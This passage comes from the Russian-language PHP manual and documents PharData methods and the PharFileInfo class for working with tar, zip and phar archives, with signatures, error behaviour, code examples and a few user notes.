$p->decompress($filename); # result filename: abc.tar; xyz is truncated accidentally.
?>


Распаковать все файлы в текущем zip-архиве

  • « PharData::decompress
  • PharData::delMetadata »
  • PHP Manual
  • PharData
  • Распаковать все файлы в текущем zip-архиве

PharData::decompressFiles

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::decompressFiles — Распаковать все файлы в текущем zip-архиве

Описание

public PharData::decompressFiles(): bool

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Для tar-архивов данный метод выбросит исключение BadMethodCallException, так как сжатие отдельных файлов в tar-архиве не поддерживается форматом файла. Используйте PharData::compress() для сжатия всего tar-архива.

Для Zip-архивов этот метод распакует все файлы по указанному пути. Для корректной работы требуются включённые модули zlib или bzip2, в зависимости от типа сжатия.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выбрасывает исключение BadMethodCallException, если отсутствует необходимый модуль zlib или bzip2.

Примеры

Пример #1 Пример использования PharData::decompressFiles()

<?php
$p = new PharData('/path/to/my.zip');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
$p->decompressFiles();
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
?>

Результат выполнения данного примера:

string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)
string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)

Смотрите также

  • PharFileInfo::getCompressedSize() - Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::isCompressed() - Проверить, сжат ли файл
  • PharFileInfo::compress() - Сжать текущий файл с помощью zlib или bzip2
  • PharFileInfo::decompress() - Разжимает текущий файл
  • Phar::canCompress() - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::isCompressed() - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • PharData::compressFiles() - Сжать все файлы в текущем tar/zip-архиве
  • Phar::getSupportedCompression() - Возвращает массив поддерживаемых алгоритмов сжатия
  • PharData::compress() - Сжимает весь архив tar/zip, используя сжатие Gzip или Bzip2
  • PharData::decompress() - Распаковать весь Phar-архив

User Contributed Notes

There are no user contributed notes for this page.


Удалить глобальные метаданные для zip-архива

  • « PharData::decompressFiles
  • PharData::delete »
  • PHP Manual
  • PharData
  • Удалить глобальные метаданные для zip-архива

PharData::delMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::delMetadata — Удалить глобальные метаданные для zip-архива

Описание

public PharData::delMetadata(): bool

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Удаляет глобальные метаданные для zip-архива

Список параметров

Возвращаемые значения

Возвращает true в случае успешного выполнения, но лучше использовать проверку исключений.

Ошибки

Выбрасывает исключение PharException в случае возникновения ошибки при сохранении изменений на диск.

Примеры

Пример #1 Пример использования PharData::delMetaData()

<?php
try {
$phar = new PharData('myphar.zip');
var_dump($phar->getMetadata());
$phar->setMetadata("привет");
var_dump($phar->getMetadata());
$phar->delMetadata();
var_dump($phar->getMetadata());
} catch (Exception $e) {
// обработка ошибок
}
?>

Результат выполнения данного примера:

NULL
string(8) "привет"
NULL

Смотрите также

  • Phar::delMetadata() - Удалить глобальные метаданные в архиве phar

User Contributed Notes

There are no user contributed notes for this page.


Удалить файл из tar/zip-архива

  • « PharData::delMetadata
  • PharData::__destruct »
  • PHP Manual
  • PharData
  • Удалить файл из tar/zip-архива

PharData::delete

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::delete — Удалить файл из tar/zip-архива

Описание

public PharData::delete(string $localName): bool

Удаляет файл в архиве. Функционально аналогично вызову unlink() на эквиваленте потоковой обёртки, как показано в примере ниже.

Список параметров

localName

Путь до удаляемого файла.

Возвращаемые значения

Возвращает true в случае успешного выполнения, но лучше использовать проверку исключений.

Ошибки

Выбрасывает исключение PharException в случае возникновения ошибки при сохранении изменений на диск.

Примеры

Пример #1 Пример использования PharData::delete()

<?php
try {
$phar = new PharData('myphar.zip');
$phar->delete('unlink/me.php');
// аналог следующего кода:
unlink('phar://myphar.phar/unlink/me.php');
} catch (Exception $e) {
// обработка ошибок
}
?>

Смотрите также

  • Phar::delete() - Удаляет файл внутри phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает неисполняемый объект архива tar или zip

  • « PharData::delete
  • PharData::extractTo »
  • PHP Manual
  • PharData
  • Уничтожает неисполняемый объект архива tar или zip

PharData::__destruct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::__destruct — Уничтожает неисполняемый объект архива tar или zip

Описание

public PharData::__destruct()

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Извлечь содержимое tar/zip-архива в директорию

  • « PharData::__destruct
  • PharData::isWritable »
  • PHP Manual
  • PharData
  • Извлечь содержимое tar/zip-архива в директорию

PharData::extractTo

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::extractTo — Извлечь содержимое tar/zip-архива в директорию

Описание

public PharData::extractTo(string $directory, array|string|null $files = null, bool $overwrite = false): bool

Извлекает все файлы tar/zip-архива на диск. Извлечённые файлы и директории сохраняют все разрешения, которые у них были. Опциональные параметры позволяют контролировать, какие именно файлы извлекать и нужно ли перезаписывать уже существующие. Второй параметр files может быть как именем файла, так и путём директории, которые надо извлекать. По умолчанию уже существующие на диске файлы перезаписываться не будут. Для указания, что нужно использовать перезапись, используется третий параметр. Этот метод аналогичен методу ZipArchive::extractTo().

Список параметров

directory

Путь, по которому необходимо сохраните извлечённые файлы (files)

files

Имя файла или директории, которые надо извлечь. Либо архив с именами файлов/директорий

overwrite

Установите в true, если необходимо перезаписывать уже существующие файлы

Возвращаемые значения

Возвращает true в случае успешного выполнения. Но лучше использовать механизм перехвата исключений для контроля успешности.

Ошибки

Выбрасывает исключение PharException в случае возникновения ошибки записи на диск.

Примеры

Пример #1 Пример использования PharData::extractTo()

<?php
try {
$phar = new PharData('myphar.tar');
$phar->extractTo('/full/path'); // извлечь все файлы
$phar->extractTo('/another/path', 'file.txt'); // извлечь только file.txt
$phar->extractTo('/this/path',
array('file1.txt', 'file2.txt')); // извлечь два указанных файла
$phar->extractTo('/third/path', null, true); // извлечь все файлы, использовать перезапись
} catch (Exception $e) {
// обработка ошибок
}
?>

Примечания

Замечание:

Файловые системы Windows NTFS не поддерживают некоторые символы в именах файлов, а именно <|>*?":. Имена файлов с точкой в конце также не поддерживаются. В отличие от некоторых инструментов извлечения, этот метод не поддерживает замену этих символов на подчёркивание, а вместо этого возникает ошибка при извлечении таких файлов.

Смотрите также

  • Phar::extractTo() - Извлечь содержимое phar-архива в директорию

User Contributed Notes

Anonymous 08-Jun-2017 12:34
I'm unable to extract the first directory from a tar archive:
the destination dir remains empty,
no error is thrown

<?php
$tar = new \PharData('archive.tar');
if ($tar->current()->isDir()) {
                echo 'is_dir';
                $dir = $tar->current()->getPathname();
                $dir = basename($dir);
                $tar->extractTo('destination', $dir);
}
?>

the docs hint that the second param could be a name of file OR DIR to be extracted from the archive, is that really possible?
njh at aelius dot com 08-Mar-2013 11:34
Note that PHAR only supports extracting the 'ustar' variant of the tar archives.

Some systems (such as older versions of Mac OS X) generate the 'pax' format by default.

See here for more information:
http://php.net/manual/pl/phar.fileformat.tar.php


Проверить, можно ли модифицировать tar/zip-архив

  • « PharData::extractTo
  • PharData::offsetSet »
  • PHP Manual
  • PharData
  • Проверить, можно ли модифицировать tar/zip-архив

PharData::isWritable

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::isWritable — Проверить, можно ли модифицировать tar/zip-архив

Описание

public PharData::isWritable(): bool

Этот метод возвращает true, если tar/zip-архив существует и доступен для записи. В отличие от Phar::isWritable(), tar/zip-архивы с данными можно менять даже если phar.readonly установлен в 1.

Список параметров

Параметры отсутствуют.

Возвращаемые значения

Возвращает true или false

Смотрите также

  • Phar::canWrite() - Проверяет, поддерживает ли модуль phar сохранение и создание phar-архивов
  • Phar::isWritable() - Проверяет, можно ли модифицировать phar-архив

User Contributed Notes

There are no user contributed notes for this page.


Изменение содержимого файла

  • « PharData::isWritable
  • PharData::offsetUnset »
  • PHP Manual
  • PharData
  • Изменение содержимого файла

PharData::offsetSet

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::offsetSet — Изменение содержимого файла

Описание

public PharData::offsetSet(string $localName, resource|string $value): void

Это реализация интерфейса ArrayAccess, позволяющая манипулировать содержимым tar/zip-архива в стиле доступа к элементам массива. offsetSet используется для изменения контента существующего файла, либо для создания нового.

Список параметров

localName

Имя файла (относительный путь).

value

Содержимое файла.

Возвращаемые значения

Ничего не возвращает.

Ошибки

Выбрасывает исключение PharException в случае проблем с записью на диск.

Примеры

Пример #1 Пример использования PharData::offsetSet()

offsetSet не нужно вызывать напрямую. Используйте синтаксис [].

<?php
$p = new PharData('/path/to/my.tar');
try {
// вызов offsetSet
$p['file.txt'] = 'Привет';
} catch (Exception $e) {
echo 'Не удалось изменить file.txt:', $e;
}
?>

Примечания

Замечание: PharData::addFile(), PharData::addFromString() and PharData::offsetSet() save a new phar archive each time they are called. If performance is a concern, PharData::buildFromDirectory() or PharData::buildFromIterator() should be used instead.

Смотрите также

  • Phar::offsetSet() - Изменение содержимого файла

User Contributed Notes

There are no user contributed notes for this page.


Удалить файл из tar/zip-архива

  • « PharData::offsetSet
  • PharData::setAlias »
  • PHP Manual
  • PharData
  • Удалить файл из tar/zip-архива

PharData::offsetUnset

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::offsetUnset — Удалить файл из tar/zip-архива

Описание

public PharData::offsetUnset(string $localName): void

Это реализация интерфейса ArrayAccess, позволяющая манипулировать содержимым tar/zip-архива в стиле доступа к элементам массива. offsetUnset используется для удаления файлов и запускается каждый раз, когда используется конструкция unset().

Список параметров

localName

Имя файла (относительный путь).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение PharException в случае проблем с записью на диск.

Примеры

Пример #1 Пример использования PharData::offsetUnset()

<?php
$p = new PharData('/path/to/my.zip');
try {
// удаление file.txt из my.zip путём вызова offsetUnset
unset($p['file.txt']);
} catch (Exception $e) {
echo 'Не удалось удалить file.txt: ', $e;
}
?>

Смотрите также

  • Phar::offsetUnset() - Удалить файл из phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Функция заглушка (Phar::setAlias нельзя использовать для PharData)

  • « PharData::offsetUnset
  • PharData::setDefaultStub »
  • PHP Manual
  • PharData
  • Функция заглушка (Phar::setAlias нельзя использовать для PharData)

PharData::setAlias

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::setAlias — Функция заглушка (Phar::setAlias нельзя использовать для PharData)

Описание

public PharData::setAlias(string $alias): bool

Незапускаемые tar/zip-архивы не могут иметь псевдонима, так что этот метод просто выбрасывает исключение.

Список параметров

alias

Параметр игнорируется.

Возвращаемые значения

Ошибки

Выбрасывает исключение PharException

Смотрите также

  • Phar::setAlias() - Установить псевдоним для Phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Функция заглушка (Phar::setDefaultStub нельзя использовать для PharData)

  • « PharData::setAlias
  • PharData::setMetadata »
  • PHP Manual
  • PharData
  • Функция заглушка (Phar::setDefaultStub нельзя использовать для PharData)

PharData::setDefaultStub

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::setDefaultStub — Функция заглушка (Phar::setDefaultStub нельзя использовать для PharData)

Описание

public PharData::setDefaultStub(?string $index = null, ?string $webIndex = null): bool

Незапускаемые tar/zip-архивы не могут иметь заглушку, так что этот метод просто выбрасывает исключение.

Список параметров

index

Относительный путь в phar-архиве для запуска при доступе из командной строки

webIndex

Относительный путь в phar-архиве для запуска при доступе через браузер

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выбрасывает исключение PharException

Список изменений

Версия | Описание
8.0.0 | webIndex теперь допускает значение null.

Смотрите также

  • Phar::setDefaultStub() - Установить загрузчик PHP или начальную заглушку Phar-архива в загрузчик по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Установить метаданные phar-архива

  • « PharData::setDefaultStub
  • PharData::setSignatureAlgorithm »
  • PHP Manual
  • PharData
  • Установить метаданные phar-архива

PharData::setMetadata

(Информация о версии неизвестна, возможно, только в Git)

PharData::setMetadata — Установить метаданные phar-архива

Описание

public PharData::setMetadata(mixed $metadata): void

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Функция Phar::setMetadata() используется для сохранения данных, характеризующих phar-архив в целом. PharFileInfo::setMetadata() используется для установки метаданных для конкретного файла. Если метаданных будет много, то это может снизить скорость загрузки phar-архива.

Метаданные можно использовать, например, для указания, какой файл должен исполняться при загрузке, или для указания местоположения манифеста, типа package.xml для модуля » PEAR. В общем, любые полезные в контексте phar-архива данные.

Список параметров

metadata

Любая переменная PHP, содержащая необходимую информацию

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Phar::setMetadata()

<?php
// удаляем, на всякий случай
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file.php'] = '<?php echo "hello"';
$p->setMetadata(array('bootstrap' => 'file.php'));
var_dump($p->getMetadata());
} catch (Exception $e) {
echo 'Не удалось создать и/или изменить phar:', $e;
}
?>

Результат выполнения данного примера:

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

Смотрите также

  • Phar::getMetadata() - Извлечь метаданные phar-архива
  • Phar::delMetadata() - Удалить глобальные метаданные в архиве phar
  • Phar::hasMetadata() - Проверить, содержит ли phar-архив глобальные метаданные

User Contributed Notes

There are no user contributed notes for this page.


Установить алгоритм подписания phar-архива и применение его

  • « PharData::setMetadata
  • PharData::setStub »
  • PHP Manual
  • PharData
  • Установить алгоритм подписания phar-архива и применение его

PharData::setSignatureAlgorithm

(Информация о версии неизвестна, возможно, только в Git)

PharData::setSignatureAlgorithm — Установить алгоритм подписания phar-архива и применение его

Описание

public PharData::setSignatureAlgorithm(int $algo, ?string $privateKey = null): void

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Устанавливает алгоритм подписания phar-архива и применяет его.
Доступны следующие алгоритмы подписания: Phar::MD5,
Phar::SHA1, Phar::SHA256,
Phar::SHA512 и Phar::OPENSSL.
(pgp пока не поддерживается, вместо него используется SHA-1).

Список параметров

algo

Одна из констант: Phar::MD5,
Phar::SHA1, Phar::SHA256,
Phar::SHA512 или Phar::OPENSSL

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение UnexpectedValueException для большинства ошибок. Для архивов на основе zip или tar выбрасывает исключение BadMethodCallException. При ошибках записи на диск выбрасывает исключение PharException.

Список изменений

Версия | Описание
8.0.0 | privateKey теперь допускает значение null.

Смотрите также

  • Phar::getSupportedSignatures() - Получить массив поддерживаемых алгоритмов подписи архива
  • Phar::getSignature() - Получить MD5/SHA1/SHA256/SHA512/OpenSSL подпись Phar-архива

User Contributed Notes

obsidian[at-nospam]codebite[dot]net 14-Jun-2011 02:06
As a note, the docs don't show the (optional) second parameter nor mention the existence of the Phar::OPENSSL class constant also available for use with this method.

To sign a phar with OpenSSL, for example...

<?php

$phar = new Phar('somephar.phar');
// ... add your files and such
$phar->setSignatureAlgorithm(Phar::OPENSSL, file_get_contents('private_key_here.pem'));
// ... do whatever else you want afterwards here ...
?>

Hope this proves useful to someone.


Функция заглушка (Phar::setStub нельзя использовать для PharData)

  • « PharData::setSignatureAlgorithm
  • PharFileInfo »
  • PHP Manual
  • PharData
  • Функция заглушка (Phar::setStub нельзя использовать для PharData)

PharData::setStub

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::setStub — Функция заглушка (Phar::setStub нельзя использовать для PharData)

Описание

public PharData::setStub(string $stub, int $len = -1): bool

Незапускаемые tar/zip-архивы не могут иметь загрузчика (stub), так что этот метод просто бросает исключение.

Список параметров

stub

Параметр игнорируется.

len

Параметр игнорируется.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выбрасывает исключение PharException

Смотрите также

  • Phar::setStub() - Установить загрузчик или загрузочную заглушку в Phar-архив

User Contributed Notes

There are no user contributed notes for this page.


Класс PharFileInfo

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Введение

Класс PharFileInfo предоставляет высокоуровневый интерфейс к содержимому и атрибутам отдельного файла в phar-архиве.

Обзор классов

class PharFileInfo extends SplFileInfo {
/* Методы */
public __construct(string $filename)
public chmod(int $perms): void
public compress(int $compression): bool
public decompress(): bool
public delMetadata(): bool
public getCRC32(): int
public getCompressedSize(): int
public getContent(): string
public getMetadata(array $unserializeOptions = []): mixed
public getPharFlags(): int
public hasMetadata(): bool
public isCRCChecked(): bool
public isCompressed(?int $compression = null): bool
public setMetadata(mixed $metadata): void
public __destruct()
/* Наследуемые методы */
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Содержание

  • PharFileInfo::chmod — Установка прав доступа
  • PharFileInfo::compress — Сжать текущий файл с помощью zlib или bzip2
  • PharFileInfo::__construct — Конструктор объекта PharFileInfo
  • PharFileInfo::decompress — Разжимает текущий файл
  • PharFileInfo::delMetadata — Удалить метаданные файла
  • PharFileInfo::__destruct — Уничтожает входной объект Phar
  • PharFileInfo::getCRC32 — Получить контрольную сумму CRC32
  • PharFileInfo::getCompressedSize — Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::getContent — Получить полное содержимое файла записи
  • PharFileInfo::getMetadata — Получить метаданные, связанные с файлом
  • PharFileInfo::getPharFlags — Получить флаги файла в phar-архиве
  • PharFileInfo::hasMetadata — Проверить, есть ли у файла метаданные
  • PharFileInfo::isCRCChecked — Определить, прошёл ли файл проверку CRC
  • PharFileInfo::isCompressed — Проверить, сжат ли файл
  • PharFileInfo::setMetadata — Установка метаданных для конкретного файла

User Contributed Notes

There are no user contributed notes for this page.


Установка прав доступа

  • « PharFileInfo
  • PharFileInfo::compress »
  • PHP Manual
  • PharFileInfo
  • Установка прав доступа

PharFileInfo::chmod

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::chmod — Установка прав доступа

Описание

public PharFileInfo::chmod(int $perms): void

PharFileInfo::chmod() позволяет устанавливать биты разрешений на запуск и чтение для файлов. Биты записи игнорируются, поскольку настраиваются во время исполнения на основании значения INI-переменной phar.readonly. Как и для любого другого функционала, модифицирующего phar-архив, необходимо, чтобы переменная phar.readonly была отключена для успешного изменения прав на файл в архиве Phar. Архивы PharData не имеют таких ограничений.

Список параметров

perms

Разрешения (смотрите описание функции chmod())

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования PharFileInfo::chmod()

<?php
// удалим, на всякий случай
@unlink('brandnewphar.phar');
try {
$p = new Phar('brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file.sh'] = '#!/usr/local/lib/php
<?php echo "привет"; ?>';
// установим бит исполнрения
$p['file.sh']->chmod(0555);
var_dump($p['file.sh']->isExecutable());
} catch (Exception $e) {
echo 'Не удалось создать/изменить phar: ', $e;
}
?>

Результат выполнения данного примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Сжать текущий файл с помощью zlib или bzip2

  • « PharFileInfo::chmod
  • PharFileInfo::__construct »
  • PHP Manual
  • PharFileInfo
  • Сжать текущий файл с помощью zlib или bzip2

PharFileInfo::compress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharFileInfo::compress — Сжать текущий файл с помощью zlib или bzip2

Описание

public PharFileInfo::compress(int $compression): bool

Этот метод сжимает файл внутри phar-архива с помощью bzip2 или zlib. Для конкретных алгоритмов сжатия необходимо, чтобы были подключены модули bzip2 или zlib соответственно. Также, если файл уже сжат, то для его разжатия потребуется соответствующий модуль. Так как данная функциональность изменяет содержимое архива, для его нормальной работы необходимо, чтобы INI-опция phar.readonly была отключена, иначе не получится внести изменение в архив Phar. Файлы PharData не имеют ограничений, связанных с настройкой в php.ini.

Список параметров

compression

Сжатие должно быть Phar::GZ или Phar::BZ2.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выбрасывает BadMethodCallException, если INI-опция phar.readonly включена, или если соответствующий модуль bzip2/zlib недоступен.

Примеры

Пример #1 Пример использования PharFileInfo::compress()

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$file = $p['myfile.txt'];
var_dump($file->isCompressed(Phar::BZ2));
$p['myfile.txt']->compress(Phar::BZ2);
var_dump($file->isCompressed(Phar::BZ2));
} catch (Exception $e) {
echo 'Операции создания/изменения на my.phar завершились ошибкой: ', $e;
}
?>

Результат выполнения данного примера:

bool(false)
bool(true)

Смотрите также

  • PharFileInfo::getCompressedSize() - Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::isCompressed() - Проверить, сжат ли файл
  • PharFileInfo::decompress() - Разжимает текущий файл
  • Phar::canCompress() - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::isCompressed() - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • Phar::compressFiles() - Сжимает все файлы в текущем Phar-архиве
  • Phar::decompressFiles() - Распаковывает все файлы в текущем Phar-архиве
  • Phar::compress() - Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия
  • Phar::decompress() - Распаковывает весь Phar-архив
  • Phar::getSupportedCompression() - Возвращает массив поддерживаемых алгоритмов сжатия

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта PharFileInfo

  • « PharFileInfo::compress
  • PharFileInfo::decompress »
  • PHP Manual
  • PharFileInfo
  • Конструктор объекта PharFileInfo

PharFileInfo::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::__construct — Конструктор объекта PharFileInfo

Описание

public PharFileInfo::__construct(string $filename)

Не должен вызываться напрямую. Объект PharFileInfo следует инициализировать с помощью Phar::offsetGet(), используя синтаксис доступа к массиву.

Список параметров

filename

Полный URL файла. Если вы хотите извлечь файл my/file.php из архива boo.phar, необходимо задать phar://boo.phar/my/file.php.

Ошибки

Выбрасывает исключение BadMethodCallException, если __construct() вызван дважды. Выбрасывает исключение UnexpectedValueException, если запрошенный URL некорректен, phar-архив невозможно открыть либо если указанный файл отсутствует в архиве.

Примеры

Пример #1 Пример использования PharFileInfo::__construct()

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['testfile.txt'] = "hi\nthere\ndude";
$file = $p['testfile.txt'];
foreach ($file as $line => $text) {
echo "номер строки $line: $text";
}
// так то же работает
$file = new PharFileInfo('phar:///path/to/my.phar/testfile.txt');
foreach ($file as $line => $text) {
echo "номер строки $line: $text";
}
} catch (Exception $e) {
echo 'Операции Phar завершились ошибкой;
}
?>

Результат выполнения данного примера:

номер строки 1: hi
номер строки 2: there
номер строки 3: dude
номер строки 1: hi
номер строки 2: there
номер строки 3: dude

User Contributed Notes

There are no user contributed notes for this page.


Разжимает текущий файл

  • « PharFileInfo::__construct
  • PharFileInfo::delMetadata »
  • PHP Manual
  • PharFileInfo
  • Разжимает текущий файл

PharFileInfo::decompress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharFileInfo::decompress — Разжимает текущий файл

Описание

public PharFileInfo::decompress(): bool

Этот метод разжимает файл внутри phar-архива. В зависимости от того, каким методом файл был сжат, необходимо наличие модулей bzip2 или zlib. Так как эта функциональность изменяет phar-архив, необходимо, чтобы опция phar.readonly была отключена, иначе внести изменения в архив Phar не получится. На архивы PharData ограничение на запись не распространяется.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выбрасывает исключение BadMethodCallException, если опция phar.readonly включена, либо соответствующий модуль bzip2/zlib недоступен.

Примеры

Пример #1 Пример использования PharFileInfo::decompress()

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$file = $p['myfile.txt'];
$file->compress(Phar::GZ);
var_dump($file->isCompressed());
$p['myfile.txt']->decompress();
var_dump($file->isCompressed());
} catch (Exception $e) {
echo 'Не удалось создать/изменить my.phar: ', $e;
}
?>

Результат выполнения данного примера:

int(4096)
bool(false)

Смотрите также

  • PharFileInfo::getCompressedSize() - Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::isCompressed() - Проверить, сжат ли файл
  • PharFileInfo::compress() - Сжать текущий файл с помощью zlib или bzip2
  • Phar::canCompress() - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::isCompressed() - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • Phar::compressFiles() - Сжимает все файлы в текущем Phar-архиве
  • Phar::decompressFiles() - Распаковывает все файлы в текущем Phar-архиве
  • Phar::compress() - Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия
  • Phar::decompress() - Распаковывает весь Phar-архив
  • Phar::getSupportedCompression() - Возвращает массив поддерживаемых алгоритмов сжатия

User Contributed Notes

There are no user contributed notes for this page.


Удалить метаданные файла

  • « PharFileInfo::decompress
  • PharFileInfo::__destruct »
  • PHP Manual
  • PharFileInfo
  • Удалить метаданные файла

PharFileInfo::delMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.0)

PharFileInfo::delMetadata — Удалить метаданные файла

Описание

public PharFileInfo::delMetadata(): bool

Удаляет метаданные файла, если они есть.

Список параметров

Нет параметров.

Возвращаемые значения

Возвращает true или false в зависимости от успешности выполнения. Так как эта функциональность изменяет phar-архив, необходимо, чтобы опция phar.readonly была отключена, иначе внести изменения в архив Phar не получится. На архивы PharData ограничение на запись не распространяется.

Ошибки

Выбрасывает исключение PharException в случае возникновения ошибки записи на диск, и BadMethodCallException, если запись запрещена.

Примеры

Пример #1 Пример использования PharFileInfo::delMetaData()

<?php
try {
$a = new Phar('myphar.phar');
$a['hi'] = 'hi';
var_dump($a['hi']->delMetadata());
$a['hi']->setMetadata('there');
var_dump($a['hi']->delMetadata());
var_dump($a['hi']->delMetadata());
} catch (Exception $e) {
// обработка ошибок
}
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(false)

Смотрите также

  • PharFileInfo::setMetadata() - Установка метаданных для конкретного файла
  • PharFileInfo::hasMetadata() - Проверить, есть ли у файла метаданные
  • PharFileInfo::getMetadata() - Получить метаданные, связанные с файлом
  • Phar::setMetadata() - Установить метаданные phar-архива
  • Phar::hasMetadata() - Проверить, содержит ли phar-архив глобальные метаданные
  • Phar::getMetadata() - Извлечь метаданные phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает входной объект Phar

  • « PharFileInfo::delMetadata
  • PharFileInfo::getCRC32 »
  • PHP Manual
  • PharFileInfo
  • Уничтожает входной объект Phar

PharFileInfo::__destruct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::__destruct — Уничтожает входной объект Phar

Описание

public PharFileInfo::__destruct()

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Получить контрольную сумму CRC32

  • « PharFileInfo::__destruct
  • PharFileInfo::getCompressedSize »
  • PHP Manual
  • PharFileInfo
